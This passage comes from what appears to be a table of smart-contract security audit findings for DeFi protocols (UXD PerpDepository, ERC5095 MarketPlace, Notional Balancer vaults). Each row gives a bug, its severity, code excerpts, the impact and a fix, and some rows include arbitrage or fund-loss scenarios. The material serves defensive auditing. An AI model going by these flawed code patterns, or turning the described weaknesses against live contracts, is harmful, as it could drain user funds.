vault.withdraw(assetToken, baseAmount);\\n IERC20(assetToken).transfer(account, baseAmount);\\n emit Rebalanced(baseAmount, quoteAmount, 0);\\n return (baseAmount, quoteAmount);\\n }\\n```\\n |
`PerpDepository._rebalanceNegativePnlWithSwap()` shouldn't use a `sqrtPriceLimitX96` twice. | medium | `PerpDepository._rebalanceNegativePnlWithSwap()` shouldn't use a `sqrtPriceLimitX96` twice.\\nCurrently, `_rebalanceNegativePnlWithSwap()` uses a `sqrtPriceLimitX96` param twice for placing a perp order and swapping.\\n```\\n function _rebalanceNegativePnlWithSwap(\\n uint256 amount,\\n uint256 amountOutMinimum,\\n uint160 sqrtPriceLimitX96,\\n uint24 swapPoolFee,\\n address account\\n ) private returns (uint256, uint256) {\\n uint256 normalizedAmount = amount.fromDecimalToDecimal(\\n ERC20(quoteToken).decimals(),\\n 18\\n );\\n _checkNegativePnl(normalizedAmount);\\n bool isShort = false;\\n bool amountIsInput = true;\\n (uint256 baseAmount, uint256 quoteAmount) = _placePerpOrder(\\n normalizedAmount,\\n isShort,\\n amountIsInput,\\n sqrtPriceLimitX96\\n );\\n vault.withdraw(assetToken, baseAmount);\\n SwapParams memory params = SwapParams({\\n tokenIn: assetToken,\\n tokenOut: quoteToken,\\n amountIn: baseAmount,\\n amountOutMinimum: amountOutMinimum,\\n sqrtPriceLimitX96: sqrtPriceLimitX96, //@audit \\n poolFee: swapPoolFee\\n });\\n uint256 quoteAmountOut = spotSwapper.swapExactInput(params);\\n```\\n\\nIn `_placePerpOrder()`, it uses the uniswap pool inside the perp protocol and uses a `spotSwapper` for the second swap which is for the uniswap as well.\\nBut as we can see here, Uniswap V3 introduces multiple pools for each token pair and 2 pools might be different and I think it's not good to use the same `sqrtPriceLimitX96` for different pools.\\nAlso, I think it's not mandatory to check a `sqrtPriceLimitX96` as it checks `amountOutMinimum` already. (It checks `amountOutMinimum` only in `_openLong()` and _openShort().) | I think we can use the `sqrtPriceLimitX96` param for one pool only and it would be enough as there is an `amountOutMinimum` condition. | `PerpDepository._rebalanceNegativePnlWithSwap()` might revert when it should work as it uses the same `sqrtPriceLimitX96` for different pools. | ```\\n function _rebalanceNegativePnlWithSwap(\\n uint256 amount,\\n uint256 amountOutMinimum,\\n uint160 sqrtPriceLimitX96,\\n uint24 swapPoolFee,\\n address account\\n ) private returns (uint256, uint256) {\\n uint256 normalizedAmount = amount.fromDecimalToDecimal(\\n ERC20(quoteToken).decimals(),\\n 18\\n );\\n _checkNegativePnl(normalizedAmount);\\n bool isShort = false;\\n bool amountIsInput = true;\\n (uint256 baseAmount, uint256 quoteAmount) = _placePerpOrder(\\n normalizedAmount,\\n isShort,\\n amountIsInput,\\n sqrtPriceLimitX96\\n );\\n vault.withdraw(assetToken, baseAmount);\\n SwapParams memory params = SwapParams({\\n tokenIn: assetToken,\\n tokenOut: quoteToken,\\n amountIn: baseAmount,\\n amountOutMinimum: amountOutMinimum,\\n sqrtPriceLimitX96: sqrtPriceLimitX96, //@audit \\n poolFee: swapPoolFee\\n });\\n uint256 quoteAmountOut = spotSwapper.swapExactInput(params);\\n```\\n |
Vulnerable GovernorVotesQuorumFraction version | medium | The protocol uses an OZ version of contracts that contain a known vulnerability in government contracts.\\n`UXDGovernor` contract inherits from GovernorVotesQuorumFraction:\\n```\\n contract UXDGovernor is\\n ReentrancyGuard,\\n Governor,\\n GovernorVotes,\\n GovernorVotesQuorumFraction,\\n GovernorTimelockControl,\\n GovernorCountingSimple,\\n GovernorSettings\\n```\\n\\nIt was patched in version 4.7.2, but this protocol uses an older version: "@openzeppelin/contracts": "^4.6.0" | Update the OZ version of contracts to version >=4.7.2 or at least follow the workarounds of OZ if not possible otherwise. | The potential impact is described in the OZ advisory. This issue was assigned with a severity of High from OZ, so I am sticking with it in this submission. | ```\\n contract UXDGovernor is\\n ReentrancyGuard,\\n Governor,\\n GovernorVotes,\\n GovernorVotesQuorumFraction,\\n GovernorTimelockControl,\\n GovernorCountingSimple,\\n GovernorSettings\\n```\\n |
Deposit and withdraw to the vault with the wrong decimals of amount in contract `PerpDepository` | medium | Function `vault.deposit` and `vault.withdraw` of vault in contract `PerpDepository` need to be passed with the amount in raw decimal of tokens (is different from 18 in case using USDC, WBTC, ... as base and quote tokens). But some calls miss the conversion of decimals from 18 to token's decimal, and pass wrong decimals into them.\\nFunction `vault.deposit` need to be passed the param amount in token's decimal (as same as vault.withdraw). You can see at function `_depositAsset` in contract PerpDepository.\\n```\\nfunction _depositAsset(uint256 amount) private {\\n netAssetDeposits += amount;\\n \\n IERC20(assetToken).approve(address(vault), amount);\\n vault.deposit(assetToken, amount);\\n}\\n```\\n\\nBut there are some calls of `vault.deposit` and `vault.withdraw` that passed the amount in the wrong decimal (18 decimal). Let's see function `_rebalanceNegativePnlWithSwap` in contract PerpDepository:\\n```\\nfunction _rebalanceNegativePnlWithSwap(\\n uint256 amount,\\n uint256 amountOutMinimum,\\n uint160 sqrtPriceLimitX96,\\n uint24 swapPoolFee,\\n address account\\n) private returns (uint256, uint256) {\\n // rest of code\\n (uint256 baseAmount, uint256 quoteAmount) = _placePerpOrder(\\n normalizedAmount,\\n isShort,\\n amountIsInput,\\n sqrtPriceLimitX96\\n );\\n vault.withdraw(assetToken, baseAmount); \\n \\n // rest of code\\n \\n vault.deposit(quoteToken, quoteAmount);\\n\\n emit Rebalanced(baseAmount, quoteAmount, shortFall);\\n return (baseAmount, quoteAmount);\\n}\\n```\\n\\nBecause function `_placePerpOrder` returns in decimal 18 (confirmed with sponsor WarTech), this calls pass `baseAmount` and `quoteAmount` in decimal 18, inconsistent with the above call. It leads to vault using the wrong decimal when depositing and withdrawing tokens.\\nThere is another case that use `vault.withdraw` with the wrong decimal (same as this case) in function _rebalanceNegativePnlLite:\\n```\\n//function _rebalanceNegativePnlLite, contract PerpDepository\\n// rest of code\\n\\n(uint256 baseAmount, uint256 quoteAmount) = _placePerpOrder(\\n normalizedAmount,\\n isShort,\\n amountIsInput,\\n sqrtPriceLimitX96\\n);\\nvault.withdraw(assetToken, baseAmount);\\n\\n// rest of code\\n```\\n | Should convert the param `amount` from token's decimal to decimal 18 before `vault.deposit` and `vault.withdraw`. | Because of calling `vault.deposit` and `vault.withdraw` with the wrong decimal of the param amount, the protocol can lose a lot of funds. And some functionalities of the protocol can be broken cause it can revert by not enough allowance when calling these functions. | ```\\nfunction _depositAsset(uint256 amount) private {\\n netAssetDeposits += amount;\\n \\n IERC20(assetToken).approve(address(vault), amount);\\n vault.deposit(assetToken, amount);\\n}\\n```\\n |
Price disparities between spot and perpetual pricing can heavily destabilize UXD | medium | When minting UXD using PerpDepository.sol the amount of UXD minted corresponds to the amount of vUSD gained from selling the deposited ETH. This is problematic given that Perp Protocol is a derivative rather than a spot market, which means that price differences cannot be directly arbitraged with spot markets. The result is that derivative markets frequently trade at a price higher or lower than the spot price. The result of this is that UXD is actually pegged to vUSD rather than USD. This key difference can cause huge strain on a USD peg and likely depegging.\\n```\\nfunction deposit(\\n address asset,\\n uint256 amount\\n) external onlyController returns (uint256) {\\n if (asset == assetToken) {\\n _depositAsset(amount);\\n (, uint256 quoteAmount) = _openShort(amount);\\n return quoteAmount; // @audit this mint UXD equivalent to the amount of vUSD gained\\n } else if (asset == quoteToken) {\\n return _processQuoteMint(amount);\\n } else {\\n revert UnsupportedAsset(asset);\\n }\\n}\\n```\\n\\nPerpDepository#deposit shorts the deposit amount and returns the amount of vUSD resulting from the swap, which effectively pegs it to vUSD rather than USD. When the perpetual is trading at a premium arbitrage will begin happening between the spot and perpetual asset and the profit will be taken at the expense of the UXD peg.\\nExample: Imagine markets are heavily trending with a spot price of $1500 and a perpetual price of $1530. A user can now buy 1 ETH for $1500 and deposit it to mint 1530 UXD. They can then swap the UXD for 1530 USDC (or other stablecoin) for a profit of $30. The user can continue to do this until either the perpetual price is arbitraged down to $1500 or the price of UXD is $0.98. | I recommend integrating with a chainlink oracle and using its price to determine the true spot price of ETH. When a user mints make sure that the amount minted is never greater than the spot price of ETH which will prevent the negative pressure on the peg:\\n```\\nfunction deposit(\\n address asset,\\n uint256 amount\\n) external onlyController returns (uint256) {\\n if (asset == assetToken) {\\n _depositAsset(amount);\\n (, uint256 quoteAmount) = _openShort(amount);\\n\\n+ spotPrice = assetOracle.getPrice();\\n+ assetSpotValue = amount.mulwad(spotPrice);\\n\\n- return quoteAmount;\\n+ return quoteAmount <= assetSpotValue ? quoteAmount: assetSpotValue;\\n } else if (asset == quoteToken) {\\n return _processQuoteMint(amount);\\n } else {\\n revert UnsupportedAsset(asset);\\n }\\n}\\n```\\n | UXD is pegged to vUSD rather than USD which can cause instability and loss of peg | ```\\nfunction deposit(\\n address asset,\\n uint256 amount\\n) external onlyController returns (uint256) {\\n if (asset == assetToken) {\\n _depositAsset(amount);\\n (, uint256 quoteAmount) = _openShort(amount);\\n return quoteAmount; // @audit this mint UXD equivalent to the amount of vUSD gained\\n } else if (asset == quoteToken) {\\n return _processQuoteMint(amount);\\n } else {\\n revert UnsupportedAsset(asset);\\n }\\n}\\n```\\n |
PerpDepository#_placePerpOrder miscalculates fees paid when shorting | medium | PerpDepository#_placePerpOrder calculates the fee as a percentage of the quoteToken received. The issue is that this amount already has the fees taken so the fee percentage is being applied incorrectly.\\n```\\nfunction _placePerpOrder(\\n uint256 amount,\\n bool isShort,\\n bool amountIsInput,\\n uint160 sqrtPriceLimit\\n) private returns (uint256, uint256) {\\n uint256 upperBound = 0; // 0 = no limit, limit set by sqrtPriceLimit\\n\\n IClearingHouse.OpenPositionParams memory params = IClearingHouse\\n .OpenPositionParams({\\n baseToken: market,\\n isBaseToQuote: isShort, // true for short\\n isExactInput: amountIsInput, // we specify exact input amount\\n amount: amount, // collateral amount - fees\\n oppositeAmountBound: upperBound, // output upper bound\\n // solhint-disable-next-line not-rely-on-time\\n deadline: block.timestamp,\\n sqrtPriceLimitX96: sqrtPriceLimit, // max slippage\\n referralCode: 0x0\\n });\\n\\n (uint256 baseAmount, uint256 quoteAmount) = clearingHouse.openPosition(\\n params\\n );\\n\\n uint256 feeAmount = _calculatePerpOrderFeeAmount(quoteAmount);\\n totalFeesPaid += feeAmount;\\n\\n emit PositionOpened(isShort, amount, amountIsInput, sqrtPriceLimit);\\n return (baseAmount, quoteAmount);\\n}\\n\\nfunction _calculatePerpOrderFeeAmount(uint256 amount)\\n internal\\n view\\n returns (uint256)\\n{\\n return amount.mulWadUp(getExchangeFeeWad());\\n}\\n```\\n\\nWhen calculating fees, `PerpDepository#_placePerpOrder` use the quote amount retuned when opening the new position. It always uses exactIn which means that for shorts the amount of baseAsset being sold is specified. The result is that quote amount returned is already less the fees. If we look at how the fee is calculated we can see that it is incorrect.\\nExample: Imagine the market price of ETH is $1000 and there is a market fee of 1%. The 1 ETH is sold and the contract receives 990 USD. Using the math above it would calculated the fee as $99 (990 * 1%) but actually the fee is $100.\\nIt have submitted this as a medium because it is not clear from the given contracts what the fee totals are used for and I cannot fully assess the implications of the fee value being incorrect. | Rewrite _calculatePerpOrderFeeAmount to correctly calculate the fees paid:\\n```\\n- function _calculatePerpOrderFeeAmount(uint256 amount)\\n+ function _calculatePerpOrderFeeAmount(uint256 amount, bool isShort)\\n internal\\n view\\n returns (uint256)\\n {\\n+ if (isShort) {\\n+ return amount.divWadDown(WAD - getExchangeFeeWad()) - amount;\\n+ } else {\\n return amount.mulWadUp(getExchangeFeeWad());\\n+ }\\n }\\n```\\n | totalFeesPaid will be inaccurate which could lead to disparities in other contracts depending on how it is used | ```\\nfunction _placePerpOrder(\\n uint256 amount,\\n bool isShort,\\n bool amountIsInput,\\n uint160 sqrtPriceLimit\\n) private returns (uint256, uint256) {\\n uint256 upperBound = 0; // 0 = no limit, limit set by sqrtPriceLimit\\n\\n IClearingHouse.OpenPositionParams memory params = IClearingHouse\\n .OpenPositionParams({\\n baseToken: market,\\n isBaseToQuote: isShort, // true for short\\n isExactInput: amountIsInput, // we specify exact input amount\\n amount: amount, // collateral amount - fees\\n oppositeAmountBound: upperBound, // output upper bound\\n // solhint-disable-next-line not-rely-on-time\\n deadline: block.timestamp,\\n sqrtPriceLimitX96: sqrtPriceLimit, // max slippage\\n referralCode: 0x0\\n });\\n\\n (uint256 baseAmount, uint256 quoteAmount) = clearingHouse.openPosition(\\n params\\n );\\n\\n uint256 feeAmount = _calculatePerpOrderFeeAmount(quoteAmount);\\n totalFeesPaid += feeAmount;\\n\\n emit PositionOpened(isShort, amount, amountIsInput, sqrtPriceLimit);\\n return (baseAmount, quoteAmount);\\n}\\n\\nfunction _calculatePerpOrderFeeAmount(uint256 amount)\\n internal\\n view\\n returns (uint256)\\n{\\n return amount.mulWadUp(getExchangeFeeWad());\\n}\\n```\\n |
PerpDepository.netAssetDeposits variable can prevent users to withdraw with underflow error | medium | PerpDepository.netAssetDeposits variable can prevent users to withdraw with underflow error\\n```\\n function _depositAsset(uint256 amount) private {\\n netAssetDeposits += amount;\\n\\n\\n IERC20(assetToken).approve(address(vault), amount);\\n vault.deposit(assetToken, amount);\\n }\\n```\\n\\n```\\n function _withdrawAsset(uint256 amount, address to) private {\\n if (amount > netAssetDeposits) {\\n revert InsufficientAssetDeposits(netAssetDeposits, amount);\\n }\\n netAssetDeposits -= amount;\\n\\n\\n vault.withdraw(address(assetToken), amount);\\n IERC20(assetToken).transfer(to, amount);\\n }\\n```\\n\\nThe problem here is that when user deposits X assets, then he receives Y UXD tokens. And when later he redeems his Y UXD tokens he can receive more or less than X assets. This can lead to situation when netAssetDeposits variable will be seting to negative value which will revert tx.\\nExample. 1.User deposits 1 WETH when it costs 1200$. As result 1200 UXD tokens were minted and netAssetDeposits was set to 1. 2.Price of WETH has decreased and now it costs 1100. 3.User redeem his 1200 UXD tokens and receives from perp protocol 1200/1100=1.09 WETH. But because netAssetDeposits is 1, then transaction will revert inside `_withdrawAsset` function with underflow error. | As you don't use this variable anywhere else, you can remove it. Otherwise you need to have 2 variables instead: totalDeposited and totalWithdrawn. | User can't redeem all his UXD tokens. | ```\\n function _depositAsset(uint256 amount) private {\\n netAssetDeposits += amount;\\n\\n\\n IERC20(assetToken).approve(address(vault), amount);\\n vault.deposit(assetToken, amount);\\n }\\n```\\n |
ERC5095 has not approved MarketPlace to spend tokens in ERC5095 | medium | ERC5095 requires approving MarketPlace to spend the tokens in ERC5095 before calling MarketPlace.sellUnderlying/sellPrincipalToken\\nMarketPlace.sellUnderlying/sellPrincipalToken will call transferFrom to send tokens from msg.sender to pool, which requires msg.sender to approve MarketPlace. However, before calling MarketPlace.sellUnderlying/sellPrincipalToken in ERC5095, there is no approval for MarketPlace to spend the tokens in ERC5095, which causes functions such as ERC5095.deposit/mint/withdraw/redeem functions fail, i.e. users cannot sell tokens through ERC5095.\\n```\\n function sellUnderlying(\\n address u,\\n uint256 m,\\n uint128 a,\\n uint128 s\\n ) external returns (uint128) {\\n // Get the pool for the market\\n IPool pool = IPool(pools[u][m]);\\n\\n // Get the number of PTs received for selling `a` underlying tokens\\n uint128 expected = pool.sellBasePreview(a);\\n\\n // Verify slippage does not exceed the one set by the user\\n if (expected < s) {\\n revert Exception(16, expected, 0, address(0), address(0));\\n }\\n\\n // Transfer the underlying tokens to the pool\\n Safe.transferFrom(IERC20(pool.base()), msg.sender, address(pool), a);\\n// rest of code\\n function sellPrincipalToken(\\n address u,\\n uint256 m,\\n uint128 a,\\n uint128 s\\n ) external returns (uint128) {\\n // Get the pool for the market\\n IPool pool = IPool(pools[u][m]);\\n\\n // Preview amount of underlying received by selling `a` PTs\\n uint256 expected = pool.sellFYTokenPreview(a);\\n\\n // Verify that the amount needed does not exceed the slippage parameter\\n if (expected < s) {\\n revert Exception(16, expected, s, address(0), address(0));\\n }\\n\\n // Transfer the principal tokens to the pool\\n Safe.transferFrom(\\n IERC20(address(pool.fyToken())),\\n msg.sender,\\n address(pool),\\n a\\n );\\n```\\n\\nIn the test file, `vm.startPrank(address(token))` is used and approves the MarketPlace, which cannot be done in the mainnet\\n```\\n vm.startPrank(address(token));\\n IERC20(Contracts.USDC).approve(address(marketplace), type(uint256).max);\\n IERC20(Contracts.YIELD_TOKEN).approve(\\n address(marketplace),\\n type(uint256).max\\n );\\n```\\n | Approve MarketPlace to spend tokens in ERC5095 in ERC5095.setPool.\\n```\\n function setPool(address p)\\n external\\n authorized(marketplace)\\n returns (bool)\\n {\\n pool = p.fyToken();\\n// Add the line below\\n Safe.approve(IERC20(underlying), marketplace, type(uint256).max);\\n// Add the line below\\n Safe.approve(IERC20(p.), marketplace, type(uint256).max);\\n\\n return true;\\n }\\n\\n pool = address(0);\\n }\\n```\\n | It makes functions such as ERC5095.deposit/mint/withdraw/redeem functions fail, i.e. users cannot sell tokens through ERC5095. | ```\\n function sellUnderlying(\\n address u,\\n uint256 m,\\n uint128 a,\\n uint128 s\\n ) external returns (uint128) {\\n // Get the pool for the market\\n IPool pool = IPool(pools[u][m]);\\n\\n // Get the number of PTs received for selling `a` underlying tokens\\n uint128 expected = pool.sellBasePreview(a);\\n\\n // Verify slippage does not exceed the one set by the user\\n if (expected < s) {\\n revert Exception(16, expected, 0, address(0), address(0));\\n }\\n\\n // Transfer the underlying tokens to the pool\\n Safe.transferFrom(IERC20(pool.base()), msg.sender, address(pool), a);\\n// rest of code\\n function sellPrincipalToken(\\n address u,\\n uint256 m,\\n uint128 a,\\n uint128 s\\n ) external returns (uint128) {\\n // Get the pool for the market\\n IPool pool = IPool(pools[u][m]);\\n\\n // Preview amount of underlying received by selling `a` PTs\\n uint256 expected = pool.sellFYTokenPreview(a);\\n\\n // Verify that the amount needed does not exceed the slippage parameter\\n if (expected < s) {\\n revert Exception(16, expected, s, address(0), address(0));\\n }\\n\\n // Transfer the principal tokens to the pool\\n Safe.transferFrom(\\n IERC20(address(pool.fyToken())),\\n msg.sender,\\n address(pool),\\n a\\n );\\n```\\n |
Two token vault will be broken if it comprises tokens with different decimals | high | A two token vault that comprises tokens with different decimals will have many of its key functions broken. For instance, rewards cannot be reinvested and vault cannot be settled.\\nThe `Stable2TokenOracleMath._getSpotPrice` function is used to compute the spot price of two tokens.\\n```\\nFile: Stable2TokenOracleMath.sol\\nlibrary Stable2TokenOracleMath {\\n using TypeConvert for int256;\\n using Stable2TokenOracleMath for StableOracleContext;\\n\\n function _getSpotPrice(\\n StableOracleContext memory oracleContext, \\n TwoTokenPoolContext memory poolContext, \\n uint256 primaryBalance,\\n uint256 secondaryBalance,\\n uint256 tokenIndex\\n ) internal view returns (uint256 spotPrice) {\\n require(tokenIndex < 2); /// @dev invalid token index\\n\\n /// Apply scale factors\\n uint256 scaledPrimaryBalance = primaryBalance * poolContext.primaryScaleFactor \\n / BalancerConstants.BALANCER_PRECISION;\\n uint256 scaledSecondaryBalance = secondaryBalance * poolContext.secondaryScaleFactor \\n / BalancerConstants.BALANCER_PRECISION;\\n\\n /// @notice poolContext balances are always in BALANCER_PRECISION (1e18)\\n (uint256 balanceX, uint256 balanceY) = tokenIndex == 0 ?\\n (scaledPrimaryBalance, scaledSecondaryBalance) :\\n (scaledSecondaryBalance, scaledPrimaryBalance);\\n\\n uint256 invariant = StableMath._calculateInvariant(\\n oracleContext.ampParam, StableMath._balances(balanceX, balanceY), true // round up\\n );\\n\\n spotPrice = StableMath._calcSpotPrice({\\n amplificationParameter: oracleContext.ampParam,\\n invariant: invariant,\\n balanceX: balanceX, \\n balanceY: balanceY\\n });\\n\\n /// Apply secondary scale factor in reverse\\n uint256 scaleFactor = tokenIndex == 0 ?\\n poolContext.secondaryScaleFactor * BalancerConstants.BALANCER_PRECISION / poolContext.primaryScaleFactor :\\n poolContext.primaryScaleFactor * BalancerConstants.BALANCER_PRECISION / poolContext.secondaryScaleFactor;\\n spotPrice = spotPrice * BalancerConstants.BALANCER_PRECISION / scaleFactor;\\n }\\n```\\n\\nTwo tokens (USDC and DAI) with different decimals will be used below to illustrate the issue:\\nUSDC/DAI Spot Price\\nAssume that the primary token is DAI (18 decimals) and the secondary token is USDC (6 decimals). As such, the scaling factors would be as follows. The token rate is ignored and set to 1 for simplicity.\\nPrimary Token (DAI)'s scaling factor = 1e18\\n`scaling factor = FixedPoint.ONE (1e18) * decimals difference to reach 18 decimals (1e0) * token rate (1)\\nscaling factor = 1e18`\\nSecondary Token (USDC)'s scaling factor = 1e30\\n`scaling factor = FixedPoint.ONE (1e18) * decimals difference to reach 18 decimals (1e12) * token rate (1)\\nscaling factor = 1e18 * 1e12 = 1e30`\\nAssume that the `primaryBalance` is 100 DAI (100e18), and the `secondaryBalance` is 100 USDC (100e6). Line 25 - 28 of the `_getSpotPrice` function will normalize the tokens balances to 18 decimals as follows:\\n`scaledPrimaryBalance` will be 100e18 (It remains the same as no scaling is needed because DAI is already denominated in 18 decimals)\\n`scaledPrimaryBalance = primaryBalance * poolContext.primaryScaleFactor / BalancerConstants.BALANCER_PRECISION;\\n`scaledPrimaryBalance` = 100e18 * 1e18 / 1e18\\n`scaledPrimaryBalance` = 100e18`\\n`scaledSecondaryBalance` will upscale to 100e18\\n`scaledSecondaryBalance` = `scaledSecondaryBalance` * poolContext.primaryScaleFactor / BalancerConstants.BALANCER_PRECISION;\\n`scaledSecondaryBalance` = 100e6 * 1e30 / 1e18\\n`scaledSecondaryBalance` = 100e18\\nThe `StableMath._calcSpotPrice` function at Line 39 returns the spot price of Y/X. In this example, `balanceX` is DAI, and `balanceY` is USDC. Thus, the spot price will be USDC/DAI. This means the amount of USDC I will get for each DAI.\\nWithin Balancer, all stable math calculations within the Balancer's pools are performed in `1e18`. With both the primary and secondary balances normalized to 18 decimals, they can be safely passed to the `StableMath._calculateInvariant` and `StableMath._calcSpotPrice` functions to compute the spot price. Assuming that the price of USDC and DAI is perfectly symmetric (1 DAI can be exchanged for exactly 1 USDC, and vice versa), the spot price returned from the `StableMath._calcSpotPrice` will be `1e18`. Note that the spot price returned by the `StableMath._calcSpotPrice` function will be denominated in 18 decimals.\\nIn Line 47-50 within the `Stable2TokenOracleMath._getSpotPrice` function, it attempts to downscale the spot price to normalize it back to the original decimals and token rate (e.g. stETH back to wstETH) of the token.\\nThe `scaleFactor` at Line 47 will be evaluated as follows:\\n```\\nscaleFactor = poolContext.secondaryScaleFactor * BalancerConstants.BALANCER_PRECISION / poolContext.primaryScaleFactor\\nscaleFactor = 1e30 * 1e18 / 1e18\\nscaleFactor = 1e30\\n```\\n\\nFinally, the spot price will be scaled in reverse order and it will be evaluated to `1e6` as shown below:\\n```\\nspotPrice = spotPrice * BalancerConstants.BALANCER_PRECISION / scaleFactor;\\nspotPrice = 1e18 * 1e18 / 1e30\\nspotPrice = 1e6\\n```\\n\\nDAI/USDC Spot Price\\nIf it is the opposite where the primary token is USDC (6 decimals) and the secondary token is DAI (18 decimals), the calculation of the spot price will be as follows:\\nThe `scaleFactor` at Line 47 will be evaluated to as follows:\\n```\\nscaleFactor = poolContext.secondaryScaleFactor * BalancerConstants.BALANCER_PRECISION / poolContext.primaryScaleFactor\\nscaleFactor = 1e18 * 1e18 / 1e30\\nscaleFactor = 1e6\\n```\\n\\nFinally, the spot price will be scaled in reverse order and it will be evaluated to `1e30` as shown below:\\n```\\nspotPrice = spotPrice * BalancerConstants.BALANCER_PRECISION / scaleFactor;\\nspotPrice = 1e18 * 1e18 / 1e6\\nspotPrice = 1e30\\n```\\n\\nNote about the spot price\\nAssuming that the spot price of USDC and DAI is 1:1. As shown above, if the decimals of two tokens are not the same, the final spot price will end up either 1e6 (USDC/DAI) or 1e30 (DAI/USDC). However, if the decimals of two tokens (e.g. wstETH and WETH) are the same, this issue stays hidden as the `scaleFactor` in Line 47 will always be 1e18 as both `secondaryScaleFactor` and `primaryScaleFactor` cancel out each other.\\nIt was observed that the spot price returned from the `Stable2TokenOracleMath._getSpotPrice` function is being compared with the oracle price from the `TwoTokenPoolUtils._getOraclePairPrice` function to determine if the pool has been manipulated within many functions.\\n```\\nuint256 oraclePrice = poolContext._getOraclePairPrice(strategyContext.tradingModule);\\n```\\n\\nBased on the implementation of the `TwoTokenPoolUtils._getOraclePairPrice` function , the `oraclePrice` returned by this function is always denominated in 18 decimals regardless of the decimals of the underlying tokens. For instance, assume the spot price of USDC (6 decimals) and DAI (18 decimals) is 1:1. The spot price returned by this oracle function for USDC/DAI will be `1e18` and DAI/USDC will be `1e18`.\\nIn many functions, the spot price returned from the `Stable2TokenOracleMath._getSpotPrice` function is compared with the oracle price via the `Stable2TokenOracleMath._checkPriceLimit`. Following is one such example. The `oraclePrice` will be `1e18`, while the `spotPrice` will be either `1e6` or `1e30` in our example. This will cause the `_checkPriceLimit` to always revert because of the large discrepancy between the two prices.\\n```\\nFile: Stable2TokenOracleMath.sol\\n function _getMinExitAmounts(\\n StableOracleContext calldata oracleContext,\\n TwoTokenPoolContext calldata poolContext,\\n StrategyContext calldata strategyContext,\\n uint256 oraclePrice,\\n uint256 bptAmount\\n ) internal view returns (uint256 minPrimary, uint256 minSecondary) {\\n // Oracle price is always specified in terms of primary, so tokenIndex == 0 for primary\\n // Validate the spot price to make sure the pool is not being manipulated\\n uint256 spotPrice = _getSpotPrice({\\n oracleContext: oracleContext,\\n poolContext: poolContext,\\n primaryBalance: poolContext.primaryBalance,\\n secondaryBalance: poolContext.secondaryBalance,\\n tokenIndex: 0\\n });\\n _checkPriceLimit(strategyContext, oraclePrice, spotPrice);\\n```\\n\\nOther affected functions include the following:\\nStable2TokenOracleMath._validateSpotPriceAndPairPrice\\nStable2TokenOracleMath._getTimeWeightedPrimaryBalance | Issue Two token vault will be broken if it comprises tokens with different decimals\\nWithin the `Stable2TokenOracleMath._getSpotPrice`, normalize the spot price back to 1e18 before returning the result. This ensures that it can be compared with the oracle price, which is denominated in 1e18 precision.\\nThis has been implemented in the spot price function (Boosted3TokenPoolUtils._getSpotPriceWithInvariant) of another pool (Boosted3Token). However, it was not consistently applied in `TwoTokenPool`. | A vault supporting tokens with two different decimals will have many of its key functions will be broken as the `_checkPriceLimit` will always revert. For instance, rewards cannot be reinvested and vaults cannot be settled since they rely on the `_checkPriceLimit` function.\\nIf the reward cannot be reinvested, the strategy tokens held by the users will not appreciate. If the vault cannot be settled, the vault debt cannot be repaid to Notional and the gain cannot be realized. Loss of assets for both users and Notional | ```\\nFile: Stable2TokenOracleMath.sol\\nlibrary Stable2TokenOracleMath {\\n using TypeConvert for int256;\\n using Stable2TokenOracleMath for StableOracleContext;\\n\\n function _getSpotPrice(\\n StableOracleContext memory oracleContext, \\n TwoTokenPoolContext memory poolContext, \\n uint256 primaryBalance,\\n uint256 secondaryBalance,\\n uint256 tokenIndex\\n ) internal view returns (uint256 spotPrice) {\\n require(tokenIndex < 2); /// @dev invalid token index\\n\\n /// Apply scale factors\\n uint256 scaledPrimaryBalance = primaryBalance * poolContext.primaryScaleFactor \\n / BalancerConstants.BALANCER_PRECISION;\\n uint256 scaledSecondaryBalance = secondaryBalance * poolContext.secondaryScaleFactor \\n / BalancerConstants.BALANCER_PRECISION;\\n\\n /// @notice poolContext balances are always in BALANCER_PRECISION (1e18)\\n (uint256 balanceX, uint256 balanceY) = tokenIndex == 0 ?\\n (scaledPrimaryBalance, scaledSecondaryBalance) :\\n (scaledSecondaryBalance, scaledPrimaryBalance);\\n\\n uint256 invariant = StableMath._calculateInvariant(\\n oracleContext.ampParam, StableMath._balances(balanceX, balanceY), true // round up\\n );\\n\\n spotPrice = StableMath._calcSpotPrice({\\n amplificationParameter: oracleContext.ampParam,\\n invariant: invariant,\\n balanceX: balanceX, \\n balanceY: balanceY\\n });\\n\\n /// Apply secondary scale factor in reverse\\n uint256 scaleFactor = tokenIndex == 0 ?\\n poolContext.secondaryScaleFactor * BalancerConstants.BALANCER_PRECISION / poolContext.primaryScaleFactor :\\n poolContext.primaryScaleFactor * BalancerConstants.BALANCER_PRECISION / poolContext.secondaryScaleFactor;\\n spotPrice = spotPrice * BalancerConstants.BALANCER_PRECISION / scaleFactor;\\n }\\n```\\n |
Rounding differences when computing the invariant | high | The invariant used within Boosted3Token vault to compute the spot price is not aligned with the Balancer's ComposableBoostedPool due to rounding differences. The spot price is used to verify if the pool has been manipulated before executing certain key vault actions (e.g. settle vault, reinvest rewards). In the worst-case scenario, it might potentially fail to detect the pool has been manipulated as the spot price computed might be inaccurate.\\nThe Boosted3Token leverage vault relies on the old version of the `StableMath._calculateInvariant` that allows the caller to specify if the computation should round up or down via the `roundUp` parameter.\\n```\\nFile: StableMath.sol\\n function _calculateInvariant(\\n uint256 amplificationParameter,\\n uint256[] memory balances,\\n bool roundUp\\n ) internal pure returns (uint256) {\\n /**********************************************************************************************\\n // invariant //\\n // D = invariant D^(n+1) //\\n // A = amplification coefficient A n^n S + D = A D n^n + ----------- //\\n // S = sum of balances n^n P //\\n // P = product of balances //\\n // n = number of tokens //\\n *********x************************************************************************************/\\n\\n unchecked {\\n // We support rounding up or down.\\n uint256 sum = 0;\\n uint256 numTokens = balances.length;\\n for (uint256 i = 0; i < numTokens; i++) {\\n sum = sum.add(balances[i]);\\n }\\n if (sum == 0) {\\n return 0;\\n }\\n\\n uint256 prevInvariant = 0;\\n uint256 invariant = sum;\\n uint256 ampTimesTotal = amplificationParameter * numTokens;\\n\\n for (uint256 i = 0; i < 255; i++) {\\n uint256 P_D = balances[0] * numTokens;\\n for (uint256 j = 1; j < numTokens; j++) {\\n P_D = Math.div(Math.mul(Math.mul(P_D, balances[j]), numTokens), invariant, roundUp);\\n }\\n prevInvariant = invariant;\\n invariant = Math.div(\\n Math.mul(Math.mul(numTokens, invariant), invariant).add(\\n Math.div(Math.mul(Math.mul(ampTimesTotal, sum), P_D), _AMP_PRECISION, roundUp)\\n ),\\n Math.mul(numTokens + 1, invariant).add(\\n // No need to use checked arithmetic for the amp precision, the amp is 